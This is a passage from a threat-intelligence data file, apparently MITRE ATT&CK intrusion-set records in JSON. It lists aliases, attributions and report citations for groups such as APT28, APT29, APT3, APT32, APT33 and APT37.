                    "description": "(Citation: Crowdstrike DNC June 2016) (Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Ars Technica GRU indictment Jul 2018)(Citation: Talos Seduploader Oct 2017)(Citation: Symantec APT28 Oct 2018)(Citation: Securelist Sofacy Feb 2018)"
                },
                {
                    "source_name": "STRONTIUM",
                    "description": "(Citation: Kaspersky Sofacy) (Citation: ESET Sednit Part 3) (Citation: Microsoft STRONTIUM Aug 2019) (Citation: Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020)(Citation: TrendMicro Pawn Storm Dec 2020) "
                },
                {
                    "source_name": "Tsar Team",
                    "description": "(Citation: ESET Sednit Part 3)(Citation: Talos Seduploader Oct 2017)(Citation: Talos Seduploader Oct 2017)"
                },
                {
                    "source_name": "Threat Group-4127",
                    "description": "(Citation: SecureWorks TG-4127)"
                },
                {
                    "source_name": "TG-4127",
                    "description": "(Citation: SecureWorks TG-4127)"
                },
                {
                    "source_name": "NSA/FBI Drovorub August 2020",
                    "url": "https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF",
                    "description": "NSA/FBI. (2020, August). Russian GRU 85th GTsSS Deploys Previously Undisclosed Drovorub Malware. Retrieved August 25, 2020."
                },
                {
                    "source_name": "DOJ GRU Indictment Jul 2018",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "url": "https://www.justice.gov/file/1080281/download"
                },
                {
                    "url": "https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/",
                    "description": "Gallagher, S. (2018, July 27). How they did it (and will likely try again): GRU hackers vs. US elections. Retrieved September 13, 2018.",
                    "source_name": "Ars Technica GRU indictment Jul 2018"
                },
                {
                    "source_name": "Crowdstrike DNC June 2016",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
                },
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                },
                {
                    "url": "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign",
                    "description": "SecureWorks Counter Threat Unit Threat Intelligence. (2016, June 16). Threat Group-4127 Targets Hillary Clinton Presidential Campaign. Retrieved August 3, 2016.",
                    "source_name": "SecureWorks TG-4127"
                },
                {
                    "source_name": "FireEye APT28 January 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"
                },
                {
                    "source_name": "GRIZZLY STEPPE JAR",
                    "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf"
                },
                {
                    "source_name": "Sofacy DealersChoice",
                    "description": "Falcone, R. (2018, March 15). Sofacy Uses DealersChoice to Target European Government Agency. Retrieved June 4, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/"
                },
                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
                },
                {
                    "source_name": "Symantec APT28 Oct 2018",
                    "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government",
                    "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018."
                },
                {
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "source_name": "ESET Zebrocy May 2019"
                },
                {
                    "source_name": "US District Court Indictment GRU Oct 2018",
                    "url": "https://www.justice.gov/opa/page/file/1098481/download",
                    "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                },
                {
                    "source_name": "ESET Sednit Part 3",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
                },
                {
                    "description": "Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html",
                    "source_name": "Talos Seduploader Oct 2017"
                },
                {
                    "source_name": "Securelist Sofacy Feb 2018",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."
                },
                {
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019."
                },
                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html",
                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."
                },
                {
                    "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.",
                    "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/",
                    "source_name": "Microsoft STRONTIUM Aug 2019"
                },
                {
                    "source_name": "Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/",
                    "description": "Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020."
                }
            ],
            "aliases": [
                "APT28",
                "SNAKEMACKEREL",
                "Swallowtail",
                "Group 74",
                "Sednit",
                "Sofacy",
                "Pawn Storm",
                "Fancy Bear",
                "STRONTIUM",
                "Tsar Team",
                "Threat Group-4127",
                "TG-4127"
            ],
            "modified": "2021-04-19T21:59:12.033Z",
            "created": "2017-05-31T21:31:48.664Z",
            "x_mitre_contributors": [
                "S\u00e9bastien Ruel, CGI",
                "Drew Church, Splunk",
                "Emily Ratliff, IBM",
                "Richard Gold, Digital Shadows"
            ],
            "x_mitre_version": "3.1"
        },
        {
            "created": "2017-05-31T21:31:52.748Z",
            "modified": "2021-04-30T12:11:56.336Z",
            "aliases": [
                "APT29",
                "Dark Halo",
                "StellarParticle",
                "NOBELIUM",
                "UNC2452",
                "YTTRIUM",
                "The Dukes",
                "Cozy Bear",
                "CozyDuke"
            ],
            "type": "intrusion-set",
            "id": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "APT29",
            "description": "[APT29](https://attack.mitre.org/groups/G0016) is threat group that has been attributed to Russia's Foreign Intelligence Service (SVR).(Citation: White House Imposing Costs RU Gov April 2021)(Citation: UK Gov Malign RIS Activity April 2021) They have operated since at least 2008, often targeting government networks in Europe and NATO member countries, research institutes, and think tanks. [APT29](https://attack.mitre.org/groups/G0016) reportedly compromised the Democratic National Committee starting in the summer of 2015.(Citation: F-Secure The Dukes)(Citation: GRIZZLY STEPPE JAR)(Citation: Crowdstrike DNC June 2016)(Citation: UK Gov UK Exposes Russia SolarWinds April 2021)\n\nIn April 2021, the US and UK governments attributed the SolarWinds supply chain compromise cyber operation to the SVR; public statements included citations to [APT29](https://attack.mitre.org/groups/G0016), Cozy Bear, and The Dukes.(Citation: NSA Joint Advisory SVR SolarWinds April 2021)(Citation: UK NSCS Russia SolarWinds April 2021) Victims of this campaign included government, consulting, technology, telecom, and other organizations in North America, Europe, Asia, and the Middle East. Industry reporting referred to the actors involved in this campaign as UNC2452, NOBELIUM, StellarParticle, and Dark Halo.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: CrowdStrike SUNSPOT Implant January 2021)(Citation: Volexity SolarWinds)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0016",
                    "external_id": "G0016"
                },
                {
                    "source_name": "APT29",
                    "description": "(Citation: F-Secure The Dukes)(Citation: FireEye APT29 Nov 2018)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)"
                },
                {
                    "source_name": "Dark Halo",
                    "description": "(Citation: Volexity SolarWinds)"
                },
                {
                    "source_name": "StellarParticle",
                    "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)"
                },
                {
                    "source_name": "NOBELIUM",
                    "description": "(Citation: MSTIC NOBELIUM Mar 2021)"
                },
                {
                    "source_name": "UNC2452",
                    "description": "(Citation: FireEye SUNBURST Backdoor December 2020)"
                },
                {
                    "source_name": "YTTRIUM",
                    "description": "(Citation: Microsoft Unidentified Dec 2018)"
                },
                {
                    "source_name": "The Dukes",
                    "description": "(Citation: F-Secure The Dukes)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)"
                },
                {
                    "source_name": "Cozy Bear",
                    "description": "(Citation: Crowdstrike DNC June 2016)(Citation: ESET Dukes October 2019)(Citation: NCSC APT29 July 2020)"
                },
                {
                    "source_name": "CozyDuke",
                    "description": "(Citation: Crowdstrike DNC June 2016)"
                },
                {
                    "source_name": "White House Imposing Costs RU Gov April 2021",
                    "url": "https://www.whitehouse.gov/briefing-room/statements-releases/2021/04/15/fact-sheet-imposing-costs-for-harmful-foreign-activities-by-the-russian-government/",
                    "description": "White House. (2021, April 15). Imposing Costs for Harmful Foreign Activities by the Russian Government. Retrieved April 16, 2021."
                },
                {
                    "source_name": "UK Gov Malign RIS Activity April 2021",
                    "url": "https://www.gov.uk/government/news/russia-uk-and-us-expose-global-campaigns-of-malign-activity-by-russian-intelligence-services",
                    "description": "UK Gov. (2021, April 15). UK and US expose global campaign of malign activity by Russian intelligence services . Retrieved April 16, 2021."
                },
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                },
                {
                    "source_name": "GRIZZLY STEPPE JAR",
                    "description": "Department of Homeland Security and Federal Bureau of Investigation. (2016, December 29). GRIZZLY STEPPE \u2013 Russian Malicious Cyber Activity. Retrieved January 11, 2017.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf"
                },
                {
                    "source_name": "Crowdstrike DNC June 2016",
                    "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.",
                    "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/"
                },
                {
                    "source_name": "UK Gov UK Exposes Russia SolarWinds April 2021",
                    "url": "https://www.gov.uk/government/news/russia-uk-exposes-russian-involvement-in-solarwinds-cyber-compromise",
                    "description": "UK Gov. (2021, April 15). UK exposes Russian involvement in SolarWinds cyber compromise . Retrieved April 16, 2021."
                },
                {
                    "source_name": "NSA Joint Advisory SVR SolarWinds April 2021",
                    "url": "https://media.defense.gov/2021/Apr/15/2002621240/-1/-1/0/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF/CSA_SVR_TARGETS_US_ALLIES_UOO13234021.PDF",
                    "description": "NSA, FBI, DHS. (2021, April 15). Russian SVR Targets U.S. and Allied Networks. Retrieved April 16, 2021."
                },
                {
                    "source_name": "UK NSCS Russia SolarWinds April 2021",
                    "url": "https://www.ncsc.gov.uk/news/uk-and-us-call-out-russia-for-solarwinds-compromise",
                    "description": "UK NCSC. (2021, April 15). UK and US call out Russia for SolarWinds compromise. Retrieved April 16, 2021."
                },
                {
                    "source_name": "FireEye SUNBURST Backdoor December 2020",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html",
                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
                {
                    "source_name": "MSTIC NOBELIUM Mar 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/",
                    "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."
                },
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                },
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                },
                {
                    "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html",
                    "source_name": "FireEye APT29 Nov 2018"
                },
                {
                    "source_name": "ESET Dukes October 2019",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf",
                    "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."
                },
                {
                    "source_name": "NCSC APT29 July 2020",
                    "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf",
                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020."
                },
                {
                    "source_name": "Microsoft Unidentified Dec 2018",
                    "url": "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/",
                    "description": "Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019."
                }
            ],
            "x_mitre_version": "2.0",
            "x_mitre_contributors": [
                "Matt Brenton, Zurich Insurance Group",
                "Katie Nickels, Red Canary"
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        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0022",
                    "external_id": "G0022"
                },
                {
                    "source_name": "APT3",
                    "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"
                },
                {
                    "source_name": "Gothic Panda",
                    "description": "(Citation: PWC Pirpi Scanbox) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"
                },
                {
                    "source_name": "Pirpi",
                    "description": "(Citation: PWC Pirpi Scanbox)"
                },
                {
                    "source_name": "UPS Team",
                    "description": "(Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"
                },
                {
                    "source_name": "Buckeye",
                    "description": "(Citation: Symantec Buckeye)"
                },
                {
                    "source_name": "Threat Group-0110",
                    "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"
                },
                {
                    "source_name": "TG-0110",
                    "description": "(Citation: Recorded Future APT3 May 2017) (Citation: Symantec Buckeye)"
                },
                {
                    "source_name": "FireEye Clandestine Wolf",
                    "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"
                },
                {
                    "source_name": "Recorded Future APT3 May 2017",
                    "description": "Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved June 18, 2017.",
                    "url": "https://www.recordedfuture.com/chinese-mss-behind-apt3/"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "source_name": "FireEye Operation Double Tap"
                },
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                },
                {
                    "url": "https://attack.mitre.org/docs/APT3_Adversary_Emulation_Plan.pdf",
                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
                    "source_name": "APT3 Adversary Emulation Plan"
                },
                {
                    "source_name": "PWC Pirpi Scanbox",
                    "description": "Lancaster, T. (2015, July 25). A tale of Pirpi, Scanbox & CVE-2015-3113. Retrieved March 30, 2016.",
                    "url": "http://pwc.blogs.com/cyber_security_updates/2015/07/pirpi-scanbox.html"
                }
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "description": "[APT3](https://attack.mitre.org/groups/G0022) is a China-based threat group that researchers have attributed to China's Ministry of State Security. (Citation: FireEye Clandestine Wolf) (Citation: Recorded Future APT3 May 2017) This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap. (Citation: FireEye Clandestine Wolf) (Citation: FireEye Operation Double Tap) As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong. (Citation: Symantec Buckeye)\n\nMITRE has also developed an APT3 Adversary Emulation Plan.(Citation: APT3 Adversary Emulation Plan)",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "type": "intrusion-set",
            "aliases": [
                "APT3",
                "Gothic Panda",
                "Pirpi",
                "UPS Team",
                "Buckeye",
                "Threat Group-0110",
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            "modified": "2021-02-09T13:52:16.312Z",
            "created": "2017-05-31T21:31:55.853Z",
            "x_mitre_version": "1.3"
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        {
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            "id": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "APT30",
            "description": "[APT30](https://attack.mitre.org/groups/G0013) is a threat group suspected to be associated with the Chinese government. While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: FireEye APT30)(Citation: Baumgartner Golovkin Naikon 2015)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0013",
                    "external_id": "G0013"
                },
                {
                    "source_name": "APT30",
                    "description": "(Citation: FireEye APT30) (Citation: Baumgartner Golovkin Naikon 2015)"
                },
                {
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "source_name": "FireEye APT30"
                },
                {
                    "url": "https://securelist.com/the-naikon-apt/69953/",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.",
                    "source_name": "Baumgartner Golovkin Naikon 2015"
                }
            ],
            "aliases": [
                "APT30"
            ],
            "modified": "2020-07-29T19:34:28.999Z",
            "created": "2017-05-31T21:31:51.026Z",
            "x_mitre_version": "1.1"
        },
        {
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            "id": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "APT32",
            "description": "[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)",
            "object_marking_refs": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0050",
                    "external_id": "G0050"
                },
                {
                    "source_name": "APT32",
                    "description": "(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"
                },
                {
                    "source_name": "SeaLotus",
                    "description": "(Citation: Cybereason Oceanlotus May 2017)"
                },
                {
                    "source_name": "OceanLotus",
                    "description": "(Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"
                },
                {
                    "source_name": "APT-C-00",
                    "description": "(Citation: ESET OceanLotus)(Citation: Cybereason Oceanlotus May 2017)(Citation: ESET OceanLotus Mar 2019)(Citation: Amnesty Intl. Ocean Lotus February 2021)"
                },
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                },
                {
                    "source_name": "Volexity OceanLotus Nov 2017",
                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
                },
                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.",
                    "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt",
                    "source_name": "Cybereason Oceanlotus May 2017"
                },
                {
                    "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.",
                    "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/",
                    "source_name": "ESET OceanLotus Mar 2019"
                },
                {
                    "source_name": "Amnesty Intl. Ocean Lotus February 2021",
                    "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/",
                    "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021."
                }
            ],
            "aliases": [
                "APT32",
                "SeaLotus",
                "OceanLotus",
                "APT-C-00"
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            "modified": "2021-04-20T03:36:35.066Z",
            "created": "2017-12-14T16:46:06.044Z",
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        },
        {
            "created": "2018-04-18T17:59:24.739Z",
            "modified": "2020-07-01T15:48:20.759Z",
            "aliases": [
                "APT33",
                "HOLMIUM",
                "Elfin"
            ],
            "type": "intrusion-set",
            "id": "intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "APT33",
            "description": "[APT33](https://attack.mitre.org/groups/G0064) is a suspected Iranian threat group that has carried out operations since at least 2013. The group has targeted organizations across multiple industries in the United States, Saudi Arabia, and South Korea, with a particular interest in the aviation and energy sectors. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)",
            "object_marking_refs": [
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                    "url": "https://attack.mitre.org/groups/G0064",
                    "external_id": "G0064"
                },
                {
                    "source_name": "APT33",
                    "description": "(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)"
                },
                {
                    "source_name": "HOLMIUM",
                    "description": "(Citation: Microsoft Holmium June 2020)"
                },
                {
                    "source_name": "Elfin",
                    "description": "(Citation: Symantec Elfin Mar 2019)"
                },
                {
                    "source_name": "FireEye APT33 Sept 2017",
                    "description": "O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"
                },
                {
                    "source_name": "FireEye APT33 Webinar Sept 2017",
                    "description": "Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.",
                    "url": "https://www.brighttalk.com/webcast/10703/275683"
                },
                {
                    "source_name": "Microsoft Holmium June 2020",
                    "url": "https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/",
                    "description": "Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."
                },
                {
                    "source_name": "Symantec Elfin Mar 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage",
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019."
                }
            ],
            "x_mitre_version": "1.3"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--68ba94ab-78b8-43e7-83e2-aed3466882c6",
            "name": "APT34",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0057",
                    "external_id": "G0057"
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            ],
            "modified": "2018-10-17T00:17:13.469Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0067",
                    "external_id": "G0067"
                },
                {
                    "source_name": "APT37",
                    "description": "(Citation: FireEye APT37 Feb 2018)"
                },
                {
                    "source_name": "ScarCruft",
                    "description": "(Citation: Securelist ScarCruft Jun 2016) (Citation: FireEye APT37 Feb 2018)(Citation: Securelist ScarCruft May 2019)"
                },
                {
                    "source_name": "Reaper",
                    "description": "(Citation: FireEye APT37 Feb 2018)"
                },
                {
                    "source_name": "Group123",
                    "description": "(Citation: FireEye APT37 Feb 2018)"
                },
                {
                    "source_name": "TEMP.Reaper",
                    "description": "(Citation: FireEye APT37 Feb 2018)"
                },
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                },
                {
                    "url": "https://securelist.com/operation-daybreak/75100/",
                    "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.",
                    "source_name": "Securelist ScarCruft Jun 2016"
                },
                {
                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
                    "source_name": "Talos Group123"
                },
                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A",
                    "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.",
                    "source_name": "US-CERT HIDDEN COBRA June 2017"
                },
                {
                    "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.",
